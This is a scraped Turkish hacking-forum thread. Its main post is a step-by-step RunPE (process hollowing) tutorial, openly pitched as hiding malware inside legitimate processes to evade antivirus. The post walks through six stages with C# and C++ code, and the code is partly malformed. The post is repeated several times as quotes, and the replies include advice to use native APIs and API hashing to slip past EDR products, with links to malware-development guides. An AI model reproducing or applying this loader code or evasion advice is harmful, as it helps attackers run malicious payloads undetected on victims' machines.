if (!TerminateProcess(processInfo.hProcess, -1))

{

throw new Win32Exception(Marshal.GetLastWin32Error());

}

else

{

CloseHandle(processInfo.hProcess);

CloseHandle(processInfo.hThread);

}

}

Programming_C-4-256.png

İkinci Evre NtUnmapViewOfSection;

İlk evremizin ardından bu evrede kodumuz kullandığı fonksiyonu ile biraz sonra belleğe taşıyacağımız zararlı için ortamı hazırlamaya başlar.

Örnek Kod;


C#:
  pImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase);
            NtUnmapViewOfSection(processInfo.hProcess, pImageBase); // we don't care if this fails

Üçüncü evremiz VirtualAllocEx;

Bu evrede elimizde RAW data halinde bulunan zararlımızı içerisinde sızmak istediğimiz işletim sistemi üzerinde çalıştırabilmek için RAM’de ki(hafızada) yerimizi belirtmemiz gerekir. Üçüncü evre bu işlemleri yapar.


Programming_C-4-256.png

Örnek Kod;

C#:
            if (VirtualAllocEx(processInfo.hProcess, pImageBase, ntHeaders->OptionalHeader.SizeOfImage, 0x3000u, 0x40u) == IntPtr.Zero)
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Programming_C-4-256.png

Dördüncü evre WriteProcessMemory;

Zararlı kodumuz artık PE formatında ve her bölümü hedef işlemin hafızasına yazılması için gerekli kod dizinini çalıştırması gerekmektedir.


16550712.png

Örnek Kod;

C++:
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAdress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections [x]. PointerToRawData)

continue;
PVOID PSectionDestination =
(PVOID) ((DWORD)PPEB->ImageBaseAddress + pSourceImage->Sections [x].VirtualAddress);
printf("Writing %s section to exp\r\n", pSource Image->Sections [x].Name, pSectionDestination);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections [x]. PointerToRawData],
pSourceImage->Sections [x].SizeOfRawData,
0
))
}
printf ("Error writing process memory\r\n");
return;
}

16550712.png

Beşinci Evre SetThreadContext;

İlgili uygulamayı devam ettirmeden önce EP(Entry Point)’i güncelliyoruz.


Örnek Kod;

C#:
  if (!SetThreadContext(processInfo.hThread, &context))
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Altıncı ve son evremiz ResumeThread;

Zararlı kodumuz suspend mod içerisindeki işlemi aktif edebilmek içinde son kozunu kullanır.


16550712.png

Örnek Kod;

C++:
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
        CreateHollowedProcess
    (
        "conhost",
        pPath
    );
    system("pause");
    return 0;
}

Not: Burada hedef conhost olarak belirlenmiş.

16550712.png

C#:
// resume thread
            ResumeThread(processInfo.hThread);
            // cleanup
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
            return true;
        }

Okuduğunuz için teşekkürler. İyi akşamlar dilerim...
Ellerinize sağlık hocam :)

Yazılım dilini belirtmek için kullandığınız görselleri nereden bulabilirim?
 

Maveraün Nehr

Blue Team Lideri
25 Haz 2021
1,092
2,162
41.303921, -81.901693
Uygulamanda daha native api + hashing kullanirsan edr sistemlerinden kacinman daha kolay olur. Kodlari biraz daha detayli aciklasaydin uygun olur gibi.
Bir örnek konu açar mısınız? Veya yorum olarak paylaşır mısınız? Teşekkürler
Ellerinize sağlık hocam :)

Yazılım dilini belirtmek için kullandığınız görselleri nereden bulabilirim?
google arama motoruna icon yazın çıkan siteler icon ile ilgili sitelerden oralardan ortaya karışık yaptım.
 

'Finn

Yeni üye
24 May 2024
32
12
Cehennemin Dibi
Merhabalar bugünkü konumuz RunPE. Aslında biliyordum ancak geniş amaçlı anlatmak için araştırma yaptım ve aşağıda size araştırma sonuçlarını paylaşacağım.

İçindekiler;
- RunPE Nedir?
- Özellikleri
- Kullandığı Fonksiyonlar ve Bir Örnekle Açıklanması
-Son


Document-exe-icon.png

Antivirüslerden kaçırmaya yarayan kullandığımız ve Türkçesi biraz saçma olsa uygulama boşaltma anlamına gelen bir yöntemdir RunPE. Daha iyi anlamamız için diğer bir kavram olan Procces Injection Türkçesi ile uygulama enjeksiyonu işlemine bakalım. Burada yapılan aslında kendi yazdığımız kodu bellekte(RAM) bulunan başka bir kodun içerisinde çalıştırmak veya yürütülmesini sağlamaktır. Şimdi RunPE yöntemimiz de ise işletim sistemimizde yasal olarak kullanımı serbest olan herhangi bir uygulama altında zararlı kodlarımızı çalıştırmaktır. Bu sayede kodlamış olduğumuz virüs kendini herhangi bir yasal uygulamanın arkasına saklayacağından anti virüs bunu göremeyecek. Günümüzde bu olayları 3. Dünya ülkelerinde bulunan çoğunlukla kara para aklayan politikacıların yapmış olduğu şeylere benzetebilirsiniz. Bu olayları gerçekleşirken 7 adımda gerçekleşir. Birazdan onları inceleyeceğiz.


1207441.png
RunPE Özellikleri
1207441.png
  1. Kötü amaçlı yazılımlar tarafından bir sistemde kalıcılık sağlanması için kullanılır ve kodlanır.
  2. RunPE kodu erişim izni gerektiren yerlere veya kısıtlı sistem işlevlerine erişim sağlamak için yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın kontrolünü ele geçirebilir.
  3. RunPE kodu verileri güvenli bir şekilde içerisinde saklayabilir veya yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın adres alanındaki belleği manipüle edebilir, hatta kendisini uygulamaya bulaştırabilir.(Yazılım dillerinde spread olarak geçer.)
  4. Genellikle kötü amaçlı faaliyetlerde kullanılmasına rağmen, hata ayıklama ve sistem izleme gibi kötü olmayan amaçlar için de kullanılabilir.
  5. RAT(Remote Administration Tool), fidye yazılımları, crypter, stealer(şifre çalıcı) vb. kötü amaçlı yazılımlarda sıkça ön plana çıkar.

1sSUFI.png

RunPE sırası ile içerisinde barındırmış olduğu CreateProcess — CRATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext son olarak da ResumeThread fonksiyonları ile 6 evrede karşımıza çıkar.

Not: Örnekleri C# ve C++ dilleri ile karışık verdim.

İlk evremiz CreateProcess — CRATE_SUSPENDED;

Bu evrede hedef uygulama başlatılır ve faaliyete geçer.


Programming_C-4-256.png

Örnek Kod;

C#:
if (!CreateProcess(null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, parameters.Hidden ? 0x00000004u | 0x08000000u : 0x00000004u, IntPtr.Zero, currentDir, new byte[0], &processInfo))

{

if (processInfo.hProcess != IntPtr.Zero)

{

if (!TerminateProcess(processInfo.hProcess, -1))

{

throw new Win32Exception(Marshal.GetLastWin32Error());

}

else

{

CloseHandle(processInfo.hProcess);

CloseHandle(processInfo.hThread);

}

}

Programming_C-4-256.png

İkinci Evre NtUnmapViewOfSection;

İlk evremizin ardından bu evrede kodumuz kullandığı fonksiyonu ile biraz sonra belleğe taşıyacağımız zararlı için ortamı hazırlamaya başlar.

Örnek Kod;


C#:
  pImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase);
            NtUnmapViewOfSection(processInfo.hProcess, pImageBase); // we don't care if this fails

Üçüncü evremiz VirtualAllocEx;

Bu evrede elimizde RAW data halinde bulunan zararlımızı içerisinde sızmak istediğimiz işletim sistemi üzerinde çalıştırabilmek için RAM’de ki(hafızada) yerimizi belirtmemiz gerekir. Üçüncü evre bu işlemleri yapar.


Programming_C-4-256.png

Örnek Kod;

C#:
            if (VirtualAllocEx(processInfo.hProcess, pImageBase, ntHeaders->OptionalHeader.SizeOfImage, 0x3000u, 0x40u) == IntPtr.Zero)
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Programming_C-4-256.png

Dördüncü evre WriteProcessMemory;

Zararlı kodumuz artık PE formatında ve her bölümü hedef işlemin hafızasına yazılması için gerekli kod dizinini çalıştırması gerekmektedir.


16550712.png

Örnek Kod;

C++:
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAdress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections [x]. PointerToRawData)

continue;
PVOID PSectionDestination =
(PVOID) ((DWORD)PPEB->ImageBaseAddress + pSourceImage->Sections [x].VirtualAddress);
printf("Writing %s section to exp\r\n", pSource Image->Sections [x].Name, pSectionDestination);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections [x]. PointerToRawData],
pSourceImage->Sections [x].SizeOfRawData,
0
))
}
printf ("Error writing process memory\r\n");
return;
}

16550712.png

Beşinci Evre SetThreadContext;

İlgili uygulamayı devam ettirmeden önce EP(Entry Point)’i güncelliyoruz.


Örnek Kod;

C#:
  if (!SetThreadContext(processInfo.hThread, &context))
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Altıncı ve son evremiz ResumeThread;

Zararlı kodumuz suspend mod içerisindeki işlemi aktif edebilmek içinde son kozunu kullanır.


16550712.png

Örnek Kod;

C++:
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
        CreateHollowedProcess
    (
        "conhost",
        pPath
    );
    system("pause");
    return 0;
}

Not: Burada hedef conhost olarak belirlenmiş.

16550712.png

C#:
// resume thread
            ResumeThread(processInfo.hThread);
            // cleanup
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
            return true;
        }

Okuduğunuz için teşekkürler. İyi akşamlar dilerim...
Yakın zamanda benimde yapmak gibi bir planım vardı erken davranmışsın, eline sağlık.
 
Merhabalar bugünkü konumuz RunPE. Aslında biliyordum ancak geniş amaçlı anlatmak için araştırma yaptım ve aşağıda size araştırma sonuçlarını paylaşacağım.

İçindekiler;
- RunPE Nedir?
- Özellikleri
- Kullandığı Fonksiyonlar ve Bir Örnekle Açıklanması
-Son


Document-exe-icon.png

Antivirüslerden kaçırmaya yarayan kullandığımız ve Türkçesi biraz saçma olsa uygulama boşaltma anlamına gelen bir yöntemdir RunPE. Daha iyi anlamamız için diğer bir kavram olan Procces Injection Türkçesi ile uygulama enjeksiyonu işlemine bakalım. Burada yapılan aslında kendi yazdığımız kodu bellekte(RAM) bulunan başka bir kodun içerisinde çalıştırmak veya yürütülmesini sağlamaktır. Şimdi RunPE yöntemimiz de ise işletim sistemimizde yasal olarak kullanımı serbest olan herhangi bir uygulama altında zararlı kodlarımızı çalıştırmaktır. Bu sayede kodlamış olduğumuz virüs kendini herhangi bir yasal uygulamanın arkasına saklayacağından anti virüs bunu göremeyecek. Günümüzde bu olayları 3. Dünya ülkelerinde bulunan çoğunlukla kara para aklayan politikacıların yapmış olduğu şeylere benzetebilirsiniz. Bu olayları gerçekleşirken 7 adımda gerçekleşir. Birazdan onları inceleyeceğiz.


1207441.png
RunPE Özellikleri
1207441.png
  1. Kötü amaçlı yazılımlar tarafından bir sistemde kalıcılık sağlanması için kullanılır ve kodlanır.
  2. RunPE kodu erişim izni gerektiren yerlere veya kısıtlı sistem işlevlerine erişim sağlamak için yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın kontrolünü ele geçirebilir.
  3. RunPE kodu verileri güvenli bir şekilde içerisinde saklayabilir veya yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın adres alanındaki belleği manipüle edebilir, hatta kendisini uygulamaya bulaştırabilir.(Yazılım dillerinde spread olarak geçer.)
  4. Genellikle kötü amaçlı faaliyetlerde kullanılmasına rağmen, hata ayıklama ve sistem izleme gibi kötü olmayan amaçlar için de kullanılabilir.
  5. RAT(Remote Administration Tool), fidye yazılımları, crypter, stealer(şifre çalıcı) vb. kötü amaçlı yazılımlarda sıkça ön plana çıkar.

1sSUFI.png

RunPE sırası ile içerisinde barındırmış olduğu CreateProcess — CRATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext son olarak da ResumeThread fonksiyonları ile 6 evrede karşımıza çıkar.

Not: Örnekleri C# ve C++ dilleri ile karışık verdim.

İlk evremiz CreateProcess — CRATE_SUSPENDED;

Bu evrede hedef uygulama başlatılır ve faaliyete geçer.


Programming_C-4-256.png

Örnek Kod;

C#:
if (!CreateProcess(null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, parameters.Hidden ? 0x00000004u | 0x08000000u : 0x00000004u, IntPtr.Zero, currentDir, new byte[0], &processInfo))

{

if (processInfo.hProcess != IntPtr.Zero)

{

if (!TerminateProcess(processInfo.hProcess, -1))

{

throw new Win32Exception(Marshal.GetLastWin32Error());

}

else

{

CloseHandle(processInfo.hProcess);

CloseHandle(processInfo.hThread);

}

}

Programming_C-4-256.png

İkinci Evre NtUnmapViewOfSection;

İlk evremizin ardından bu evrede kodumuz kullandığı fonksiyonu ile biraz sonra belleğe taşıyacağımız zararlı için ortamı hazırlamaya başlar.

Örnek Kod;


C#:
  pImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase);
            NtUnmapViewOfSection(processInfo.hProcess, pImageBase); // we don't care if this fails

Üçüncü evremiz VirtualAllocEx;

Bu evrede elimizde RAW data halinde bulunan zararlımızı içerisinde sızmak istediğimiz işletim sistemi üzerinde çalıştırabilmek için RAM’de ki(hafızada) yerimizi belirtmemiz gerekir. Üçüncü evre bu işlemleri yapar.


Programming_C-4-256.png

Örnek Kod;

C#:
            if (VirtualAllocEx(processInfo.hProcess, pImageBase, ntHeaders->OptionalHeader.SizeOfImage, 0x3000u, 0x40u) == IntPtr.Zero)
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Programming_C-4-256.png

Dördüncü evre WriteProcessMemory;

Zararlı kodumuz artık PE formatında ve her bölümü hedef işlemin hafızasına yazılması için gerekli kod dizinini çalıştırması gerekmektedir.


16550712.png

Örnek Kod;

C++:
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAdress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections [x]. PointerToRawData)

continue;
PVOID PSectionDestination =
(PVOID) ((DWORD)PPEB->ImageBaseAddress + pSourceImage->Sections [x].VirtualAddress);
printf("Writing %s section to exp\r\n", pSource Image->Sections [x].Name, pSectionDestination);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections [x]. PointerToRawData],
pSourceImage->Sections [x].SizeOfRawData,
0
))
}
printf ("Error writing process memory\r\n");
return;
}

16550712.png

Beşinci Evre SetThreadContext;

İlgili uygulamayı devam ettirmeden önce EP(Entry Point)’i güncelliyoruz.


Örnek Kod;

C#:
  if (!SetThreadContext(processInfo.hThread, &context))
            {
                if (!TerminateProcess(processInfo.hProcess, -1))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                else
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);
                    return false;
                }
            }

Altıncı ve son evremiz ResumeThread;

Zararlı kodumuz suspend mod içerisindeki işlemi aktif edebilmek içinde son kozunu kullanır.


16550712.png

Örnek Kod;

C++:
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
        CreateHollowedProcess
    (
        "conhost",
        pPath
    );
    system("pause");
    return 0;
}

Not: Burada hedef conhost olarak belirlenmiş.

16550712.png

C#:
// resume thread
            ResumeThread(processInfo.hThread);
            // cleanup
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
            return true;
        }

Okuduğunuz için teşekkürler. İyi akşamlar dilerim...
Çok işe yarar
 

xzh

Üye
8 Nis 2020
232
84
Bir örnek konu açar mısınız? Veya yorum olarak paylaşır mısınız? Teşekkürler

google arama motoruna icon yazın çıkan siteler icon ile ilgili sitelerden oralardan ortaya karışık yaptım.
Sifirdan konu acmak icin suanlik pek zamanim yok malesef, ama ek bilgiler icin baglanti verebilirim.

API Hashing: Windows API Hashing in Malware | Red Team Notes

Native API: https://medium.com/@amitmoshel70/in...als-for-malware-development-pt-1-b5bb0cd90c52
(part lara ayirarak anlatmis)
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.